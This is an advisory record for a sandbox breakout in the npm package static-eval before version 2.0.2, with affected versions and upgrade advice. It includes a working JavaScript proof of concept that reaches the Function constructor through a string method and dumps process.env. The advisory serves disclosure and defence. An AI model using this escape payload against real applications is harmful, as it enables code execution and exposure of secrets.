Advisory

GHSA-x9hc-rw35-f44h

Also known as: None

Summary

Sandbox Breakout / Arbitrary Code Execution in static-eval

Details

Versions of static-evalprior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.

Proof of concept

var evaluate = require('static-eval');
var parse = require('esprima').parse;

var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));

Recommendation

Upgrade to version 2.0.2 or later.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2020-09-02 15:46 UTC
Modified
2021-09-27 13:40 UTC

Affected packages and fixes

static-eval

npm · All systems

Affected

  • introduced 0, fixed 2.0.2 (semver)

Fixed versions

2.0.2

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences